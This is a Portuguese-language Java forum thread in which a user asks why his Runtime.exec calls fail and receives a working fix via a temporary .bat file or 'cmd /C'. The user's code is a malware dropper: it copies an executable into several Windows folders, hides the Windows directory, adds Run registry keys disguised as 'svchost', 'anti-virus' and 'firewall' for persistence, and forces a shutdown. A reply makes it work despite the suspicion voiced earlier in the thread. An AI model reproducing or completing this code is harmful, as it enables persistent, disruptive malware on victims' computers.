Ajuda com comandos de DOS em java!

olá sou novo aki no site do Guj e me registrei aki pois percebi que era um site excelente sobre java e que com ctza aprenderia mtas coisas e tiraria varias duvidas minhas…
no momento estou com a seguinte duvida tentando executar um comando de DOS em java

[code]public class tsukyomi {

public static void main(String[] args) {
	String echo = "@echo off";
	String brake= "break off";
	String A = "copy tsukyomiNW.exe c:\";
	String B = "copy tsukyomiNW.exe c:\windows\config";
	String C = "copy tsukyomiNW.exe c:\windows\provisioning";
	String D = "copy tsukyomiNW.exe c:\windows\security";
	String E = "copy tsukyomiNW.exe c:\windows\web";
	String F = "copy tsukyomiNW.exe c:\windows\debug";
	String attrib = "attrib +h +s c:\windows";
	String shutdown = "shutdown -s -t 1";
	String a1 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v explorer /t REG_SZ /d c:\tsukyomiNW.exe";
	String a2 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v system32 /t REG_SZ /d c:\windows\config\tsukyomiNW.exe";
	String a3 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v anti-virus /t REG_SZ /d c:\windows\provisioning\tsukyomiNW.exe";
	String a4 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v cmd /t REG_SZ /d c:\windows\security\tsukyomiNW.exe";
	String a5 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ /d c:\windows\web\tsukyomiNW.exe";
	String a6 = "reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v firewall /t REG_SZ /d c:\windows\debug\tsukyomiNW.exe";
	try
	{
	 Process p1;
	 p1 = Runtime.getRuntime().exec(echo);
	 Process p2;
	 p2 = Runtime.getRuntime().exec(brake);
	 Process p3;
	 p3 = Runtime.getRuntime().exec(A);
	 Process p4;
	 p4 = Runtime.getRuntime().exec(B);
	 Process p5;
	 p5 = Runtime.getRuntime().exec(C);
	 Process p6;
	 p6 = Runtime.getRuntime().exec(D);
	 Process p7;
	 p7 = Runtime.getRuntime().exec(E);
	 Process p8;
	 p8 = Runtime.getRuntime().exec(F);
	 Process p9;
	 p9 = Runtime.getRuntime().exec(attrib);
	}
	catch(Exception e) {}
}

}[/code]

o unico comando quase que funciono foi o shutdown -s -t mas os outros naum funcionam e naum consigo descobrir porque
ja tentei fazer como eh ensinado aki http://www.exampledepot.com/egs/java.lang/Exec.html
mas tambem naum funcionou :cry:
por favor ae se alguem souber o que está acontecendo me ajuda ae!!
agradeço desde ja :wink:

Por curiosidade
ta tentando copia um virus ou to errado?

bom na verdade isso naum chega a ser um virus ja q a unica coisa q ele faz é desligar o computador…
mas naum criei com a intenção de utilizá-lo mas sim pelo fato de eu e outras pessoas de um forum de outro site criarmos desafios como esses…
porem nois só podemos utilizar linguagens como java, visual basic, c++, delphi e mais uma ou outra la e no caso eu escolhi java pois é uma linguagem que eu estou estudando.
por isso estou pedindo ajuda aki pois tambem tenho um determinado tempo para terminar isso e não estou conseguindo concertar esse problema :?

Hehehehehe sei lá o q vc quer fazer com isso, mas por exemplo, o comando “copy” é um comando do interpretador de comandos do windows (command.com para win98, cmd.exe para win2k, winxp), por isso que ele não faz nada. Ele não encontra um arquivo (programa) chamado copy.

Vc pode criar, em tempo de execução, um arquivo .bat temporário, executar o arquivo e apagar o mesmo…

[code]
Runtime rt = Runtime.getRuntime();
Process p = null;

try {

// cria o arquivo
File arquivo = new File( "lote.bat" );

// cria um print writer para escrever caracteres no arquivo
PrintWriter writer = new PrintWriter( arquivo );

// escreve os comandos...
writer.println( "dir" );

// escreve mais comandos aqui com o writer.println( "comando" )

// fecha o stream
writer.close();

// executa o arquivo (.bat no windows é executável)
p = rt.exec( "lote.bat" );

// cria um buffered reader para ver o que os comandos escritos fizeram
BufferedReader reader = new BufferedReader(
	new InputStreamReader( p.getInputStream() ) );
	
String linha;

while ( ( linha = reader.readLine() ) != null )
		System.out.println( linha );

// fecha o reader
reader.close();

// apaga o arquivo
arquivo.delete();

} catch ( IOException exc ) {

System.out.println( exc.getMessage() );

}[/code]

Hehehehe olha a arte hein :smiley:

humm…valeu mesmo cara
vou tentar assim e ver se funciona!!
quanto ao programa se eu fosse usá-lo para mandar para outras pessoas nem precisaria fazer isso porque ja tenho ele feito em Batch mas como havia dito estou tentando fazer ele em java :wink:

valew mesmo davidbuzatto…funciono direitinho cara…
mas só por curiosidade ainda…
o unico método mesmo pra executa esses comando é criando um arquivo de lote em tempo de execução??
ou ainda existe algum método de executar todos esses comandos dentro do executável feito em java?

Como falei no post anterior, o interpretador de comandos do windows é o command.com para win95, 98, ME e o cmd.exe para as versões mais novas. Vc precisa invocar o cmd.exe e executar os comandos. Poderia ser assim

rt.exec( "cmd /C dir" );

Dá uma olhada nos parâmetros do cmd digitando assim no prompt de comando cmd /?

Até mais!